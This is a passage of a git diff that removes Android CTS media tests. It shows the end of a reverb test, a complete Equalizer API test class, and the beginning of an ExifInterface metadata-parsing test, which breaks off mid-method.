-                        mReverb2.setParameterListener(new EnvironmentalReverb.OnParameterChangeListener() {
-                            public void onParameterChange(EnvironmentalReverb effect,
-                                    int status, int param, int value)
-                            {
-                                synchronized(mLock) {
-                                    if (effect == mReverb2) {
-                                        mChangedParameter = param;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-
-                    mInitialized = true;
-                    mLock.notify();
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        };
-        mEffectListenerLooper.start();
-    }
-
-    // Terminates the listener looper thread.
-    private void terminateListenerLooper() {
-        if (mEffectListenerLooper != null) {
-            mEffectListenerLooper.cleanUp();
-            if (mLooper != null) {
-                mLooper.quit();
-                mLooper = null;
-            }
-            try {
-                mEffectListenerLooper.join();
-            } catch(InterruptedException e) {
-            }
-            mEffectListenerLooper = null;
-        }
-        if (mReverb2 != null) {
-            mReverb2.release();
-            mReverb2 = null;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/EqualizerTest.java b/tests/tests/media/src/android/media/cts/EqualizerTest.java
deleted file mode 100644
index 38b5889..0000000
--- a/tests/tests/media/src/android/media/cts/EqualizerTest.java
+++ /dev/null
@@ -1,455 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.audiofx.AudioEffect;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.audiofx.Equalizer;
-import android.os.Looper;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-@NonMediaMainlineTest
-public class EqualizerTest extends PostProcTestBase {
-
-    private String TAG = "EqualizerTest";
-    private final static int MIN_NUMBER_OF_BANDS = 2;
-    private final static int MAX_LEVEL_RANGE_LOW = 0;             // 0dB
-    private final static int MIN_LEVEL_RANGE_HIGH = 0;            // 0dB
-    private final static int TEST_FREQUENCY_MILLIHERTZ = 1000000; // 1kHz
-    private final static int MIN_NUMBER_OF_PRESETS = 0;
-    private final static float TOLERANCE = 100;                   // +/-1dB
-    private final static int MAX_LOOPER_WAIT_COUNT = 10;
-
-    private Equalizer mEqualizer = null;
-    private Equalizer mEqualizer2 = null;
-    private ListenerThread mEffectListenerLooper = null;
-
-    //-----------------------------------------------------------------
-    // EQUALIZER TESTS:
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 0 - constructor
-    //----------------------------------
-
-    //Test case 0.0: test constructor and release
-    public void test0_0ConstructorAndRelease() throws Exception {
-        Equalizer eq = null;
-        try {
-            eq = new Equalizer(0, getSessionId());
-            try {
-                assertTrue("invalid effect ID", (eq.getId() != 0));
-            } catch (IllegalStateException e) {
-                fail("Equalizer not initialized");
-            }
-        } catch (IllegalArgumentException e) {
-            fail("Equalizer not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        } finally {
-            if (eq != null) {
-                eq.release();
-            }
-        }
-    }
-
-
-    //-----------------------------------------------------------------
-    // 1 - get/set parameters
-    //----------------------------------
-
-    //Test case 1.0: test setBandLevel() and getBandLevel()
-    public void test1_0BandLevel() throws Exception {
-        getEqualizer(getSessionId());
-        try {
-            short numBands = mEqualizer.getNumberOfBands();
-            assertTrue("not enough bands", numBands >= MIN_NUMBER_OF_BANDS);
-
-            short[] levelRange = mEqualizer.getBandLevelRange();
-            assertTrue("min level too high", levelRange[0] <= MAX_LEVEL_RANGE_LOW);
-            assertTrue("max level too low", levelRange[1] >= MIN_LEVEL_RANGE_HIGH);
-
-            mEqualizer.setBandLevel((short)0, levelRange[1]);
-            short level = mEqualizer.getBandLevel((short)0);
-            // allow +/- TOLERANCE margin on actual level compared to requested level
-            assertTrue("setBandLevel failed",
-                    (level >= (levelRange[1] - TOLERANCE)) &&
-                    (level <= (levelRange[1] + TOLERANCE)));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseEqualizer();
-        }
-    }
-
-    //Test case 1.1: test band frequency
-    public void test1_1BandFrequency() throws Exception {
-        getEqualizer(getSessionId());
-        try {
-            short band = mEqualizer.getBand(TEST_FREQUENCY_MILLIHERTZ);
-            assertTrue("getBand failed", band >= 0);
-            int[] freqRange = mEqualizer.getBandFreqRange(band);
-            assertTrue("getBandFreqRange failed",
-                    (freqRange[0] <= TEST_FREQUENCY_MILLIHERTZ) &&
-                    (freqRange[1] >= TEST_FREQUENCY_MILLIHERTZ));
-            int freq = mEqualizer.getCenterFreq(band);
-            assertTrue("getCenterFreq failed",
-                    (freqRange[0] <= freq) && (freqRange[1] >= freq));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseEqualizer();
-        }
-    }
-
-    //Test case 1.2: test presets
-    public void test1_2Presets() throws Exception {
-        getEqualizer(getSessionId());
-        try {
-            short numPresets = mEqualizer.getNumberOfPresets();
-            assertTrue("getNumberOfPresets failed", numPresets >= MIN_NUMBER_OF_PRESETS);
-            if (numPresets > 0) {
-                mEqualizer.usePreset((short)(numPresets - 1));
-                short preset = mEqualizer.getCurrentPreset();
-                assertEquals("usePreset failed", preset, (short)(numPresets - 1));
-                String name = mEqualizer.getPresetName(preset);
-                assertNotNull("getPresetName failed", name);
-            }
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseEqualizer();
-        }
-    }
-
-    //Test case 1.3: test properties
-    public void test1_3Properties() throws Exception {
-        getEqualizer(getSessionId());
-        try {
-            Equalizer.Settings settings = mEqualizer.getProperties();
-            assertTrue("no enough bands", settings.numBands >= MIN_NUMBER_OF_BANDS);
-            short newLevel = 0;
-            if (settings.bandLevels[0] == 0) {
-                newLevel = -600;
-            }
-            String str = settings.toString();
-            settings = new Equalizer.Settings(str);
-            settings.curPreset = (short)-1;
-            settings.bandLevels[0] = newLevel;
-            mEqualizer.setProperties(settings);
-            settings = mEqualizer.getProperties();
-            assertTrue("setProperties failed",
-                    (settings.bandLevels[0] >= (newLevel - TOLERANCE)) &&
-                    (settings.bandLevels[0] <= (newLevel + TOLERANCE)));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseEqualizer();
-        }
-    }
-
-    //Test case 1.4: test setBandLevel() throws exception after release
-    public void test1_4SetBandLevelAfterRelease() throws Exception {
-        getEqualizer(getSessionId());
-        mEqualizer.release();
-        try {
-            mEqualizer.setBandLevel((short)0, (short)0);
-        } catch (IllegalStateException e) {
-            // test passed
-        } finally {
-            releaseEqualizer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 2 - Effect enable/disable
-    //----------------------------------
-
-    //Test case 2.0: test setEnabled() and getEnabled() in valid state
-    public void test2_0SetEnabledGetEnabled() throws Exception {
-        getEqualizer(getSessionId());
-        try {
-            mEqualizer.setEnabled(true);
-            assertTrue("invalid state from getEnabled", mEqualizer.getEnabled());
-            mEqualizer.setEnabled(false);
-            assertFalse("invalid state to getEnabled", mEqualizer.getEnabled());
-
-        } catch (IllegalStateException e) {
-            fail("setEnabled() in wrong state");
-        } finally {
-            releaseEqualizer();
-        }
-    }
-
-    //Test case 2.1: test setEnabled() throws exception after release
-    public void test2_1SetEnabledAfterRelease() throws Exception {
-        getEqualizer(getSessionId());
-        mEqualizer.release();
-        try {
-            mEqualizer.setEnabled(true);
-        } catch (IllegalStateException e) {
-            // test passed
-        } finally {
-            releaseEqualizer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 3 priority and listeners
-    //----------------------------------
-
-    //Test case 3.0: test control status listener
-    public void test3_0ControlStatusListener() throws Exception {
-        synchronized(mLock) {
-            mHasControl = true;
-            mInitialized = false;
-            createListenerLooper(true, false, false);
-            waitForLooperInitialization_l();
-
-            getEqualizer(mSession);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mHasControl && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseEqualizer();
-        }
-        assertFalse("effect control not lost by effect1", mHasControl);
-    }
-
-    //Test case 3.1: test enable status listener
-    public void test3_1EnableStatusListener() throws Exception {
-        synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, true, false);
-            waitForLooperInitialization_l();
-
-            mEqualizer2.setEnabled(true);
-            mIsEnabled = true;
-            getEqualizer(mSession);
-            mEqualizer.setEnabled(false);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mIsEnabled && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseEqualizer();
-        }
-        assertFalse("enable status not updated", mIsEnabled);
-    }
-
-    //Test case 3.2: test parameter changed listener
-    public void test3_2ParameterChangedListener() throws Exception {
-        synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, false, true);
-            waitForLooperInitialization_l();
-
-            getEqualizer(mSession);
-            mChangedParameter = -1;
-            mEqualizer.setBandLevel((short)0, (short)0);
-
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while ((mChangedParameter == -1) && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseEqualizer();
-        }
-        assertEquals("parameter change not received",
-                Equalizer.PARAM_BAND_LEVEL, mChangedParameter);
-    }
-
-    //-----------------------------------------------------------------
-    // private methods
-    //----------------------------------
-
-    private void getEqualizer(int session) {
-         if (mEqualizer == null || session != mSession) {
-             if (session != mSession && mEqualizer != null) {
-                 mEqualizer.release();
-                 mEqualizer = null;
-             }
-             try {
-                mEqualizer = new Equalizer(0, session);
-                mSession = session;
-            } catch (IllegalArgumentException e) {
-                Log.e(TAG, "getEqualizer() Equalizer not found exception: "+e);
-            } catch (UnsupportedOperationException e) {
-                Log.e(TAG, "getEqualizer() Effect library not loaded exception: "+e);
-            }
-         }
-         assertNotNull("could not create mEqualizer", mEqualizer);
-    }
-
-    private void releaseEqualizer() {
-        if (mEqualizer != null) {
-            mEqualizer.release();
-            mEqualizer = null;
-        }
-    }
-
-    private void waitForLooperInitialization_l() {
-        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-        while (!mInitialized && (looperWaitCount-- > 0)) {
-            try {
-                mLock.wait();
-            } catch(Exception e) {
-            }
-        }
-        assertTrue(mInitialized);
-    }
-
-    // Initializes the equalizer listener looper
-    class ListenerThread extends Thread {
-        boolean mControl;
-        boolean mEnable;
-        boolean mParameter;
-
-        public ListenerThread(boolean control, boolean enable, boolean parameter) {
-            super();
-            mControl = control;
-            mEnable = enable;
-            mParameter = parameter;
-        }
-
-        public void cleanUp() {
-            if (mEqualizer2 != null) {
-                mEqualizer2.setControlStatusListener(null);
-                mEqualizer2.setEnableStatusListener(null);
-                mEqualizer2.setParameterListener((Equalizer.OnParameterChangeListener)null);
-            }
-        }
-    }
-
-    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
-        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
-            @Override
-            public void run() {
-                // Set up a looper
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                mSession = getSessionId();
-                mEqualizer2 = new Equalizer(0, mSession);
-                assertNotNull("could not create Equalizer2", mEqualizer2);
-
-                synchronized(mLock) {
-                    if (mControl) {
-                        mEqualizer2.setControlStatusListener(
-                                new AudioEffect.OnControlStatusChangeListener() {
-                            public void onControlStatusChange(
-                                    AudioEffect effect, boolean controlGranted) {
-                                synchronized(mLock) {
-                                    if (effect == mEqualizer2) {
-                                        mHasControl = controlGranted;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mEnable) {
-                        mEqualizer2.setEnableStatusListener(
-                                new AudioEffect.OnEnableStatusChangeListener() {
-                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
-                                synchronized(mLock) {
-                                    if (effect == mEqualizer2) {
-                                        mIsEnabled = enabled;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mParameter) {
-                        mEqualizer2.setParameterListener(new Equalizer.OnParameterChangeListener() {
-                            public void onParameterChange(Equalizer effect,
-                                    int status, int param1, int param2, int value)
-                            {
-                                synchronized(mLock) {
-                                    if (effect == mEqualizer2) {
-                                        mChangedParameter = param1;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    mInitialized = true;
-                    mLock.notify();
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        };
-        mEffectListenerLooper.start();
-    }
-
-    // Terminates the listener looper thread.
-    private void terminateListenerLooper() {
-        if (mEffectListenerLooper != null) {
-            mEffectListenerLooper.cleanUp();
-            if (mLooper != null) {
-                mLooper.quit();
-                mLooper = null;
-            }
-            try {
-                mEffectListenerLooper.join();
-            } catch(InterruptedException e) {
-            }
-            mEffectListenerLooper = null;
-        }
-        if (mEqualizer2 != null) {
-            mEqualizer2.release();
-            mEqualizer2 = null;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
deleted file mode 100644
index 1811cb2..0000000
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ /dev/null
@@ -1,963 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.media.ExifInterface.TAG_SUBJECT_AREA;
-
-import android.content.res.TypedArray;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.media.ExifInterface;
-import android.os.FileUtils;
-import android.os.StrictMode;
-import android.platform.test.annotations.AppModeFull;
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.OsConstants;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import libcore.io.IoUtils;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayInputStream;
-import java.io.EOFException;
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-
-@NonMediaMainlineTest
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class ExifInterfaceTest extends AndroidTestCase {
-    private static final String TAG = ExifInterface.class.getSimpleName();
-    private static final boolean VERBOSE = false;  // lots of logging
-
-    private static final double DIFFERENCE_TOLERANCE = .001;
-
-    static final String mInpPrefix = WorkDir.getMediaDirString() + "images/";
-
-    // This base directory is needed for the files listed below.
-    // These files will be available for download in Android O release.
-    // Link: https://source.android.com/compatibility/cts/downloads.html#cts-media-files
-    private static final String JPEG_WITH_EXIF_BYTE_ORDER_II = "image_exif_byte_order_ii.jpg";
-    private static final String JPEG_WITH_EXIF_BYTE_ORDER_MM = "image_exif_byte_order_mm.jpg";
-    private static final String DNG_WITH_EXIF_WITH_XMP = "lg_g4_iso_800.dng";
-    private static final String JPEG_WITH_EXIF_WITH_XMP = "lg_g4_iso_800.jpg";
-    private static final String ARW_SONY_RX_100 = "sony_rx_100.arw";
-    private static final String CR2_CANON_G7X = "canon_g7x.cr2";
-    private static final String RAF_FUJI_X20 = "fuji_x20.raf";
-    private static final String NEF_NIKON_1AW1 = "nikon_1aw1.nef";
-    private static final String NRW_NIKON_P330 = "nikon_p330.nrw";
-    private static final String ORF_OLYMPUS_E_PL3 = "olympus_e_pl3.orf";
-    private static final String RW2_PANASONIC_GM5 = "panasonic_gm5.rw2";
-    private static final String PEF_PENTAX_K5 = "pentax_k5.pef";
-    private static final String SRW_SAMSUNG_NX3000 = "samsung_nx3000.srw";
-    private static final String JPEG_VOLANTIS = "volantis.jpg";
-    private static final String WEBP_WITH_EXIF = "webp_with_exif.webp";
-    private static final String WEBP_WITHOUT_EXIF_WITH_ANIM_DATA =
-            "webp_with_anim_without_exif.webp";
-    private static final String WEBP_WITHOUT_EXIF = "webp_without_exif.webp";
-    private static final String WEBP_WITHOUT_EXIF_WITH_LOSSLESS_ENCODING =
-            "webp_lossless_without_exif.webp";
-    private static final String PNG_WITH_EXIF_BYTE_ORDER_II = "png_with_exif_byte_order_ii.png";
-    private static final String PNG_WITHOUT_EXIF = "png_without_exif.png";
-    private static final String JPEG_WITH_DATETIME_TAG = "jpeg_with_datetime_tag.jpg";
-
-    private static final String[] EXIF_TAGS = {
-            ExifInterface.TAG_MAKE,
-            ExifInterface.TAG_MODEL,
-            ExifInterface.TAG_F_NUMBER,
-            ExifInterface.TAG_DATETIME_ORIGINAL,
-            ExifInterface.TAG_EXPOSURE_TIME,
-            ExifInterface.TAG_FLASH,
-            ExifInterface.TAG_FOCAL_LENGTH,
-            ExifInterface.TAG_GPS_ALTITUDE,
-            ExifInterface.TAG_GPS_ALTITUDE_REF,
-            ExifInterface.TAG_GPS_DATESTAMP,
-            ExifInterface.TAG_GPS_LATITUDE,
-            ExifInterface.TAG_GPS_LATITUDE_REF,
-            ExifInterface.TAG_GPS_LONGITUDE,
-            ExifInterface.TAG_GPS_LONGITUDE_REF,
-            ExifInterface.TAG_GPS_PROCESSING_METHOD,
-            ExifInterface.TAG_GPS_TIMESTAMP,
-            ExifInterface.TAG_IMAGE_LENGTH,
-            ExifInterface.TAG_IMAGE_WIDTH,
-            ExifInterface.TAG_ISO_SPEED_RATINGS,
-            ExifInterface.TAG_ORIENTATION,
-            ExifInterface.TAG_WHITE_BALANCE
-    };
-
-    private static class ExpectedValue {
-        // Thumbnail information.
-        public final boolean hasThumbnail;
-        public final int thumbnailWidth;
-        public final int thumbnailHeight;
-        public final boolean isThumbnailCompressed;
-        public final int thumbnailOffset;
-        public final int thumbnailLength;
-
-        // GPS information.
-        public final boolean hasLatLong;
-        public final float latitude;
-        public final int latitudeOffset;
-        public final int latitudeLength;
-        public final float longitude;
-        public final float altitude;
-
-        // Make information
-        public final boolean hasMake;
-        public final int makeOffset;
-        public final int makeLength;
-        public final String make;
-
-        // Values.
-        public final String model;
-        public final float aperture;
-        public final String dateTimeOriginal;
-        public final float exposureTime;
-        public final float flash;
-        public final String focalLength;
-        public final String gpsAltitude;
-        public final String gpsAltitudeRef;
-        public final String gpsDatestamp;
-        public final String gpsLatitude;
-        public final String gpsLatitudeRef;
-        public final String gpsLongitude;
-        public final String gpsLongitudeRef;
-        public final String gpsProcessingMethod;
-        public final String gpsTimestamp;
-        public final int imageLength;
-        public final int imageWidth;
-        public final String iso;
-        public final int orientation;
-        public final int whiteBalance;
-
-        // XMP information.
-        public final boolean hasXmp;
-        public final int xmpOffset;
-        public final int xmpLength;
-
-        private static String getString(TypedArray typedArray, int index) {
-            String stringValue = typedArray.getString(index);
-            if (stringValue == null || stringValue.equals("")) {
-                return null;
-            }
-            return stringValue.trim();
-        }
-
-        public ExpectedValue(TypedArray typedArray) {
-            int index = 0;
-
-            // Reads thumbnail information.
-            hasThumbnail = typedArray.getBoolean(index++, false);
-            thumbnailOffset = typedArray.getInt(index++, -1);
-            thumbnailLength = typedArray.getInt(index++, -1);
-            thumbnailWidth = typedArray.getInt(index++, 0);
-            thumbnailHeight = typedArray.getInt(index++, 0);
-            isThumbnailCompressed = typedArray.getBoolean(index++, false);
-
-            // Reads GPS information.
-            hasLatLong = typedArray.getBoolean(index++, false);
-            latitudeOffset = typedArray.getInt(index++, -1);
-            latitudeLength = typedArray.getInt(index++, -1);
-            latitude = typedArray.getFloat(index++, 0f);
-            longitude = typedArray.getFloat(index++, 0f);
-            altitude = typedArray.getFloat(index++, 0f);
-
-            // Reads Make information.
-            hasMake = typedArray.getBoolean(index++, false);
-            makeOffset = typedArray.getInt(index++, -1);
-            makeLength = typedArray.getInt(index++, -1);
-            make = getString(typedArray, index++);
-
-            // Reads values.
-            model = getString(typedArray, index++);
-            aperture = typedArray.getFloat(index++, 0f);
-            dateTimeOriginal = getString(typedArray, index++);
-            exposureTime = typedArray.getFloat(index++, 0f);
-            flash = typedArray.getFloat(index++, 0f);
-            focalLength = getString(typedArray, index++);
-            gpsAltitude = getString(typedArray, index++);
-            gpsAltitudeRef = getString(typedArray, index++);
-            gpsDatestamp = getString(typedArray, index++);
-            gpsLatitude = getString(typedArray, index++);
-            gpsLatitudeRef = getString(typedArray, index++);
-            gpsLongitude = getString(typedArray, index++);
-            gpsLongitudeRef = getString(typedArray, index++);
-            gpsProcessingMethod = getString(typedArray, index++);
-            gpsTimestamp = getString(typedArray, index++);
-            imageLength = typedArray.getInt(index++, 0);
-            imageWidth = typedArray.getInt(index++, 0);
-            iso = getString(typedArray, index++);
-            orientation = typedArray.getInt(index++, 0);
-            whiteBalance = typedArray.getInt(index++, 0);
-
-            // Reads XMP information.
-            hasXmp = typedArray.getBoolean(index++, false);
-            xmpOffset = typedArray.getInt(index++, 0);
-            xmpLength = typedArray.getInt(index++, 0);
-
-            typedArray.recycle();
-        }
-    }
-
-    private void printExifTagsAndValues(String fileName, ExifInterface exifInterface) {
-        // Prints thumbnail information.
-        if (exifInterface.hasThumbnail()) {
-            byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
-            if (thumbnailBytes != null) {
-                Log.v(TAG, fileName + " Thumbnail size = " + thumbnailBytes.length);
-                Bitmap bitmap = exifInterface.getThumbnailBitmap();
-                if (bitmap == null) {
-                    Log.e(TAG, fileName + " Corrupted thumbnail!");
-                } else {
-                    Log.v(TAG, fileName + " Thumbnail size: " + bitmap.getWidth() + ", "
-                            + bitmap.getHeight());
-                }
-            } else {
-                Log.e(TAG, fileName + " Unexpected result: No thumbnails were found. "
-                        + "A thumbnail is expected.");
-            }
-        } else {
-            if (exifInterface.getThumbnailBytes() != null) {
-                Log.e(TAG, fileName + " Unexpected result: A thumbnail was found. "
-                        + "No thumbnail is expected.");
-            } else {
-                Log.v(TAG, fileName + " No thumbnail");
-            }
-        }
-
-        // Prints GPS information.
-        Log.v(TAG, fileName + " Altitude = " + exifInterface.getAltitude(.0));
-
-        float[] latLong = new float[2];
-        if (exifInterface.getLatLong(latLong)) {
-            Log.v(TAG, fileName + " Latitude = " + latLong[0]);
-            Log.v(TAG, fileName + " Longitude = " + latLong[1]);
-        } else {
-            Log.v(TAG, fileName + " No latlong data");
-        }
-
-        // Prints values.
-        for (String tagKey : EXIF_TAGS) {
-            String tagValue = exifInterface.getAttribute(tagKey);
-            Log.v(TAG, fileName + " Key{" + tagKey + "} = '" + tagValue + "'");
-        }
-    }
-
-    private void assertIntTag(ExifInterface exifInterface, String tag, int expectedValue) {
-        int intValue = exifInterface.getAttributeInt(tag, 0);
-        assertEquals(expectedValue, intValue);
-    }
-
-    private void assertFloatTag(ExifInterface exifInterface, String tag, float expectedValue) {
-        double doubleValue = exifInterface.getAttributeDouble(tag, 0.0);
-        assertEquals(expectedValue, doubleValue, DIFFERENCE_TOLERANCE);
-    }
-
-    private void assertStringTag(ExifInterface exifInterface, String tag, String expectedValue) {
-        String stringValue = exifInterface.getAttribute(tag);
-        if (stringValue != null) {
-            stringValue = stringValue.trim();
-        }
-        stringValue = (stringValue == "") ? null : stringValue;
-
-        assertEquals(expectedValue, stringValue);
-    }
-
-    private void compareWithExpectedValue(ExifInterface exifInterface,
-            ExpectedValue expectedValue, String verboseTag, boolean assertRanges) {
-        if (VERBOSE) {
-            printExifTagsAndValues(verboseTag, exifInterface);
-        }
-        // Checks a thumbnail image.
-        assertEquals(expectedValue.hasThumbnail, exifInterface.hasThumbnail());
-        if (expectedValue.hasThumbnail) {
-            assertNotNull(exifInterface.getThumbnailRange());
-            if (assertRanges) {
-                final long[] thumbnailRange = exifInterface.getThumbnailRange();
-                assertEquals(expectedValue.thumbnailOffset, thumbnailRange[0]);
-                assertEquals(expectedValue.thumbnailLength, thumbnailRange[1]);
-            }
-            testThumbnail(expectedValue, exifInterface);
-        } else {
-            assertNull(exifInterface.getThumbnailRange());
-            assertNull(exifInterface.getThumbnail());
-            assertNull(exifInterface.getThumbnailBitmap());
-            assertFalse(exifInterface.isThumbnailCompressed());
-        }
-
-        // Checks GPS information.
-        float[] latLong = new float[2];
-        assertEquals(expectedValue.hasLatLong, exifInterface.getLatLong(latLong));
-        if (expectedValue.hasLatLong) {
-            assertNotNull(exifInterface.getAttributeRange(ExifInterface.TAG_GPS_LATITUDE));
-            if (assertRanges) {
-                final long[] latitudeRange = exifInterface
-                        .getAttributeRange(ExifInterface.TAG_GPS_LATITUDE);
-                assertEquals(expectedValue.latitudeOffset, latitudeRange[0]);
-                assertEquals(expectedValue.latitudeLength, latitudeRange[1]);
-            }
-            assertEquals(expectedValue.latitude, latLong[0], DIFFERENCE_TOLERANCE);
-            assertEquals(expectedValue.longitude, latLong[1], DIFFERENCE_TOLERANCE);
-            assertTrue(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LATITUDE));
-            assertTrue(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LONGITUDE));
-        } else {
-            assertNull(exifInterface.getAttributeRange(ExifInterface.TAG_GPS_LATITUDE));
-            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LATITUDE));
-            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LONGITUDE));
-        }
-        assertEquals(expectedValue.altitude, exifInterface.getAltitude(.0), DIFFERENCE_TOLERANCE);
-
-        // Checks Make information.
-        String make = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
-        assertEquals(expectedValue.hasMake, make != null);
-        if (expectedValue.hasMake) {
-            assertNotNull(exifInterface.getAttributeRange(ExifInterface.TAG_MAKE));
-            if (assertRanges) {
-                final long[] makeRange = exifInterface
-                        .getAttributeRange(ExifInterface.TAG_MAKE);
-                assertEquals(expectedValue.makeOffset, makeRange[0]);
-                assertEquals(expectedValue.makeLength, makeRange[1]);
-            }
-            assertEquals(expectedValue.make, make.trim());
-        } else {
-            assertNull(exifInterface.getAttributeRange(ExifInterface.TAG_MAKE));
-            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_MAKE));
-        }
-
-        // Checks values.
-        assertStringTag(exifInterface, ExifInterface.TAG_MAKE, expectedValue.make);
-        assertStringTag(exifInterface, ExifInterface.TAG_MODEL, expectedValue.model);
-        assertFloatTag(exifInterface, ExifInterface.TAG_F_NUMBER, expectedValue.aperture);
-        assertStringTag(exifInterface, ExifInterface.TAG_DATETIME_ORIGINAL,
-                expectedValue.dateTimeOriginal);
-        assertFloatTag(exifInterface, ExifInterface.TAG_EXPOSURE_TIME, expectedValue.exposureTime);
-        assertFloatTag(exifInterface, ExifInterface.TAG_FLASH, expectedValue.flash);
-        assertStringTag(exifInterface, ExifInterface.TAG_FOCAL_LENGTH, expectedValue.focalLength);
-        assertStringTag(exifInterface, ExifInterface.TAG_GPS_ALTITUDE, expectedValue.gpsAltitude);
-        assertStringTag(exifInterface, ExifInterface.TAG_GPS_ALTITUDE_REF,
-                expectedValue.gpsAltitudeRef);
-        assertStringTag(exifInterface, ExifInterface.TAG_GPS_DATESTAMP, expectedValue.gpsDatestamp);
-        assertStringTag(exifInterface, ExifInterface.TAG_GPS_LATITUDE, expectedValue.gpsLatitude);
-        assertStringTag(exifInterface, ExifInterface.TAG_GPS_LATITUDE_REF,
-                expectedValue.gpsLatitudeRef);
-        assertStringTag(exifInterface, ExifInterface.TAG_GPS_LONGITUDE, expectedValue.gpsLongitude);
-        assertStringTag(exifInterface, ExifInterface.TAG_GPS_LONGITUDE_REF,
-                expectedValue.gpsLongitudeRef);
-        assertStringTag(exifInterface, ExifInterface.TAG_GPS_PROCESSING_METHOD,
-                expectedValue.gpsProcessingMethod);
-        assertStringTag(exifInterface, ExifInterface.TAG_GPS_TIMESTAMP, expectedValue.gpsTimestamp);
-        assertIntTag(exifInterface, ExifInterface.TAG_IMAGE_LENGTH, expectedValue.imageLength);
-        assertIntTag(exifInterface, ExifInterface.TAG_IMAGE_WIDTH, expectedValue.imageWidth);
-        assertStringTag(exifInterface, ExifInterface.TAG_ISO_SPEED_RATINGS, expectedValue.iso);
-        assertIntTag(exifInterface, ExifInterface.TAG_ORIENTATION, expectedValue.orientation);
-        assertIntTag(exifInterface, ExifInterface.TAG_WHITE_BALANCE, expectedValue.whiteBalance);
-
-        if (expectedValue.hasXmp) {
-            assertNotNull(exifInterface.getAttributeRange(ExifInterface.TAG_XMP));
-            if (assertRanges) {
-                final long[] xmpRange = exifInterface.getAttributeRange(ExifInterface.TAG_XMP);
-                assertEquals(expectedValue.xmpOffset, xmpRange[0]);
